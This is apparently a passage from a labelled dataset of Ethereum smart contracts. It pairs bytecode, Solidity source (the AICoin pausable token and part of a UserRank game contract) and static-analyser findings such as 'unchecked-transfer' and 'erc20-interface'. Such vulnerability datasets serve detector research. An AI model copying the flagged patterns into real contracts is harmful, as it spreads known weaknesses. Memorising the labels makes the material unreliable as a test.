80516020610dad83398151915292918290030190a35b604080518581529051600160a060020a038716913391600080516020610dad8339815191529181900360200190a35050505050565b600054600160a060020a03163314610bf857600080fd5b62989680811115610c0857600080fd5b600354610c2290829060ff16600a0a63ffffffff610d3416565b600454909150610c38818363ffffffff610d7d16565b11610c4257600080fd5b60008054600160a060020a0316815260086020526040902054610c6b818363ffffffff610d7d16565b11610c7557600080fd5b60008054600160a060020a0316815260086020526040902054610c9e908263ffffffff610d7d16565b60008054600160a060020a0316815260086020526040902055600454610cca908263ffffffff610d7d16565b6004556040805182815290517fcb8241adb0c3fdb35b70c24ce35c5eb0c17af7431c99f827d44a445ca624176a9181900360200190a150565b600160a060020a03918216600090815260096020908152604080832093909416825291909152205490565b60055481565b600080831515610d4757600091506104af565b50828202828482811515610d5757fe5b0414610d5f57fe5b9392505050565b6000808284811515610d7457fe5b04949350505050565b6000828201838110801590610d925750828110155b1515610d5f57fe5b600082821115610da657fe5b509003905600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a72305820bd83d33b2929511aeceae5411d3900709bd53d23bdc98b62867851b5f5d93e9e0029
{"success": true, "error": null, "results": {"detectors": [{"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}}
219
0xdf032d6782a10693ce96ca292ef3910e545a9b35
pragma solidity ^0.4.18; /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event PausePublic(bool newState); event PauseOwnerAdmin(bool newState); bool public pausedPublic = false; bool public pausedOwnerAdmin = false; address public admin; /** * @dev Modifier to make a function callable based on pause states. */ modifier whenNotPaused() { if(pausedPublic) { if(!pausedOwnerAdmin) { require(msg.sender == admin || msg.sender == owner); } else { revert(); } } _; } /** * @dev called by the owner to set new pause flags * pausedPublic can't be false while pausedOwnerAdmin is true */ function pause(bool newPausedPublic, bool newPausedOwnerAdmin) onlyOwner public { require(!(newPausedPublic == false && newPausedOwnerAdmin == true)); pausedPublic = newPausedPublic; pausedOwnerAdmin = newPausedOwnerAdmin; PausePublic(newPausedPublic); PauseOwnerAdmin(newPausedOwnerAdmin); } } contract PausableToken is StandardToken, Pausable { function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transferFrom(_from, _to, _value); } function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) { return super.approve(_spender, _value); } function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) { return super.increaseApproval(_spender, _addedValue); } function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) { return super.decreaseApproval(_spender, _subtractedValue); } } contract AICoin is PausableToken { string public constant name = "AICoin"; string public constant symbol = "AIB"; uint8 public constant decimals = 18; modifier validDestination( address to ) { require(to != address(0x0)); require(to != address(this)); _; } function AICoin( address _admin, uint _totalTokenAmount ) { // assign the admin account admin = _admin; // assign the total tokens to AICoin totalSupply = _totalTokenAmount; balances[msg.sender] = _totalTokenAmount; Transfer(address(0x0), msg.sender, _totalTokenAmount); } function transfer(address _to, uint _value) validDestination(_to) returns (bool) { return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint _value) validDestination(_to) returns (bool) { return super.transferFrom(_from, _to, _value); } event Burn(address indexed _burner, uint _value); function burn(uint _value) returns (bool) { balances[msg.sender] = balances[msg.sender].sub(_value); totalSupply = totalSupply.sub(_value); Burn(msg.sender, _value); Transfer(msg.sender, address(0x0), _value); return true; } // save some gas by making only one contract call function burnFrom(address _from, uint256 _value) returns (bool) { assert( transferFrom( _from, msg.sender, _value ) ); return burn(_value); } function emergencyERC20Drain( ERC20 token, uint amount ) onlyOwner { // owner can drain tokens that are sent here by mistake token.transfer( owner, amount ); } event AdminTransferred(address indexed previousAdmin, address indexed newAdmin); function changeAdmin(address newAdmin) onlyOwner { // owner can re-assign the admin AdminTransferred(admin, newAdmin); admin = newAdmin; } }
0x60606040526004361061011d576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610122578063095ea7b3146101b057806318160ddd1461020a57806323b872dd1461023357806324bb7c26146102ac578063313ce567146102d957806342966c681461030857806364779ad714610343578063661884631461037057806370a08231146103ca57806379cc6790146104175780638da5cb5b146104715780638f283970146104c657806395d89b41146104ff578063a9059cbb1461058d578063d73dd623146105e7578063db0e16f114610641578063dd62ed3e14610683578063ddeb5094146106ef578063f2fde38b1461071f578063f851a44014610758575b600080fd5b341561012d57600080fd5b6101356107ad565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561017557808201518184015260208101905061015a565b50505050905090810190601f1680156101a25780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101bb57600080fd5b6101f0600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506107e6565b604051808215151515815260200191505060405180910390f35b341561021557600080fd5b61021d6108e4565b6040518082815260200191505060405180910390f35b341561023e57600080fd5b610292600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506108ea565b604051808215151515815260200191505060405180910390f35b34156102b757600080fd5b6102bf610979565b604051808215151515815260200191505060405180910390f35b34156102e457600080fd5b6102ec61098c565b604051808260ff1660ff16815260200191505060405180910390f35b341561031357600080fd5b6103296004808035906020019091905050610991565b604051808215151515815260200191505060405180910390f35b341561034e57600080fd5b610356610b00565b604051808215151515815260200191505060405180910390f35b341561037b57600080fd5b6103b0600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610b13565b604051808215151515815260200191505060405180910390f35b34156103d557600080fd5b610401600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610c11565b6040518082815260200191505060405180910390f35b341561042257600080fd5b610457600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610c5a565b604051808215151515815260200191505060405180910390f35b341561047c57600080fd5b610484610c80565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156104d157600080fd5b6104fd600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610ca6565b005b341561050a57600080fd5b610512610dc2565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610552578082015181840152602081019050610537565b50505050905090810190601f16801561057f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561059857600080fd5b6105cd600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610dfb565b604051808215151515815260200191505060405180910390f35b34156105f257600080fd5b610627600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610e88565b604051808215151515815260200191505060405180910390f35b341561064c57600080fd5b610681600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610f86565b005b341561068e57600080fd5b6106d9600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506110cf565b6040518082815260200191505060405180910390f35b34156106fa57600080fd5b61071d600480803515159060200190919080351515906020019091905050611156565b005b341561072a57600080fd5b610756600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611284565b005b341561076357600080fd5b61076b6113dc565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6040805190810160405280600681526020017f4149436f696e000000000000000000000000000000000000000000000000000081525081565b6000600360149054906101000a900460ff16156108d257600360159054906101000a900460ff1615156108cc57600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806108bc5750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b15156108c757600080fd5b6108d1565b600080fd5b5b6108dc8383611402565b905092915050565b60005481565b600082600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561092957600080fd5b3073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561096457600080fd5b61096f8585856114f4565b9150509392505050565b600360149054906101000a900460ff1681565b601281565b60006109e582600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115f490919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a3d826000546115f490919063ffffffff16565b6000819055503373ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050919050565b600360159054906101000a900460ff1681565b6000600360149054906101000a900460ff1615610bff57600360159054906101000a900460ff161515610bf957600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610be95750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b1515610bf457600080fd5b610bfe565b600080fd5b5b610c09838361160d565b905092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000610c678333846108ea565b1515610c6f57fe5b610c7882610991565b905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610d0257600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167ff8ccb027dfcd135e000e9d45e6cc2d662578a8825d4c45b5e32e0adf67e79ec660405160405180910390a380600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6040805190810160405280600381526020017f414942000000000000000000000000000000000000000000000000000000000081525081565b600082600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610e3a57600080fd5b3073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610e7557600080fd5b610e7f848461189e565b91505092915050565b6000600360149054906101000a900460ff1615610f7457600360159054906101000a900460ff161515610f6e57600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610f5e5750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b1515610f6957600080fd5b610f73565b600080fd5b5b610f7e838361199c565b905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610fe257600080fd5b8173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15156110af57600080fd5b6102c65a03f115156110c057600080fd5b50505060405180519050505050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156111b257600080fd5b600015158215151480156111ca575060011515811515145b1515156111d657600080fd5b81600360146101000a81548160ff02191690831515021790555080600360156101000a81548160ff0219169083151502179055507fa14d191ca4f53bfcf003c65d429362010a2d3d68bc0c50cce4bdc0fccf661fb082604051808215151515815260200191505060405180910390a17fc77636fc4a62a1fa193ef538c0b7993a1313a0d9c0a9173058cebcd3239ef7b581604051808215151515815260200191505060405180910390a15050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156112e057600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561131c57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600360149054906101000a900460ff16156115e057600360159054906101000a900460ff1615156115da57600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806115ca5750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b15156115d557600080fd5b6115df565b600080fd5b5b6115eb848484611b98565b90509392505050565b600082821115151561160257fe5b818303905092915050565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508083111561171e576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506117b2565b61173183826115f490919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600360149054906101000a900460ff161561198a57600360159054906101000a900460ff16151561198457600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806119745750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b151561197f57600080fd5b611989565b600080fd5b5b6119948383611f57565b905092915050565b6000611a2d82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461217b90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515611bd557600080fd5b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515611c2357600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515611cae57600080fd5b611d0082600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115f490919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611d9582600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461217b90919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611e6782600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115f490919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515611f9457600080fd5b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515611fe257600080fd5b61203482600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115f490919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506120c982600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461217b90919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600080828401905083811015151561218f57fe5b80915050929150505600a165627a7a723058201168dda09a61c6675aeb0c3481ca67d01f153f1b5a89221fa8f45261cc5d55c60029
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
220
0x1400300399f6fc996a58846bc251e28282a97c2b
pragma solidity 0.4.21; library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract ERC20 { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); event Transfer(address indexed from, address indexed to, uint256 value); } interface LandManagementInterface { function ownerAddress() external view returns (address); function managerAddress() external view returns (address); function communityAddress() external view returns (address); function dividendManagerAddress() external view returns (address); function walletAddress() external view returns (address); // function unicornTokenAddress() external view returns (address); function candyToken() external view returns (address); function megaCandyToken() external view returns (address); function userRankAddress() external view returns (address); function candyLandAddress() external view returns (address); function candyLandSaleAddress() external view returns (address); function isUnicornContract(address _unicornContractAddress) external view returns (bool); function paused() external view returns (bool); function presaleOpen() external view returns (bool); function firstRankForFree() external view returns (bool); function ethLandSaleOpen() external view returns (bool); function landPriceWei() external view returns (uint); function landPriceCandy() external view returns (uint); function registerInit(address _contract) external; } contract LandAccessControl { LandManagementInterface public landManagement; function LandAccessControl(address _landManagementAddress) public { landManagement = LandManagementInterface(_landManagementAddress); landManagement.registerInit(this); } modifier onlyOwner() { require(msg.sender == landManagement.ownerAddress()); _; } modifier onlyManager() { require(msg.sender == landManagement.managerAddress()); _; } modifier onlyCommunity() { require(msg.sender == landManagement.communityAddress()); _; } modifier whenNotPaused() { require(!landManagement.paused()); _; } modifier whenPaused { require(landManagement.paused()); _; } modifier onlyWhileEthSaleOpen { require(landManagement.ethLandSaleOpen()); _; } modifier onlyLandManagement() { require(msg.sender == address(landManagement)); _; } modifier onlyUnicornContract() { require(landManagement.isUnicornContract(msg.sender)); _; } modifier onlyCandyLand() { require(msg.sender == address(landManagement.candyLandAddress())); _; } modifier whilePresaleOpen() { require(landManagement.presaleOpen()); _; } function isGamePaused() external view returns (bool) { return landManagement.paused(); } } contract CanReceiveApproval { event ReceiveApproval(address from, uint256 value, address token); mapping (bytes4 => bool) allowedFuncs; modifier onlyPayloadSize(uint numwords) { assert(msg.data.length >= numwords * 32 + 4); _; } modifier onlySelf(){ require(msg.sender == address(this)); _; } function bytesToBytes4(bytes b) internal pure returns (bytes4 out) { for (uint i = 0; i < 4; i++) { out |= bytes4(b[i] & 0xFF) >> (i << 3); } } } contract UserRank is LandAccessControl, CanReceiveApproval { using SafeMath for uint256; ERC20 public candyToken; struct Rank{ uint landLimit; uint priceCandy; uint priceEth; string title; } mapping (uint => Rank) public ranks; uint public ranksCount = 0; mapping (address => uint) public userRanks; event TokensTransferred(address wallet, uint value); event NewRankAdded(uint index, uint _landLimit, string _title, uint _priceCandy, uint _priceEth); event RankChange(uint index, uint priceCandy, uint priceEth); event BuyNextRank(address indexed owner, uint index); event BuyRank(address indexed owner, uint index); function UserRank(address _landManagementAddress) LandAccessControl(_landManagementAddress) public { allowedFuncs[bytes4(keccak256("_receiveBuyNextRank(address)"))] = true; allowedFuncs[bytes4(keccak256("_receiveBuyRank(address,uint256)"))] = true; //3350000000000000 for candy addRank(1, 36000000000000000000, 120600000000000000,"Cryptolord"); addRank(5, 144000000000000000000, 482400000000000000,"Forklord"); addRank(10, 180000000000000000000, 603000000000000000,"Decentralord"); addRank(20, 360000000000000000000, 1206000000000000000,"Technomaster"); addRank(50, 1080000000000000000000, 3618000000000000000,"Bitmaster"); addRank(100, 1800000000000000000000, 6030000000000000000,"Megamaster"); addRank(200, 3600000000000000000000, 12060000000000000000,"Cyberduke"); addRank(400, 7200000000000000000000, 24120000000000000000,"Nanoprince"); addRank(650, 9000000000000000000000, 30150000000000000000,"Hyperprince"); addRank(1000,12600000000000000000000,42210000000000000000,"Ethercaesar"); } function init() onlyLandManagement whenPaused external { candyToken = ERC20(landManagement.candyToken()); } function addRank(uint _landLimit, uint _priceCandy, uint _priceEth, string _title) onlyOwner public { //стоимость добавляемого должна быть не ниже предыдущего require(ranks[ranksCount].priceCandy <= _priceCandy && ranks[ranksCount].priceEth <= _priceEth); ranksCount++; Rank storage r = ranks[ranksCount]; r.landLimit = _landLimit; r.priceCandy = _priceCandy; r.priceEth = _priceEth; r.title = _title; emit NewRankAdded(ranksCount, 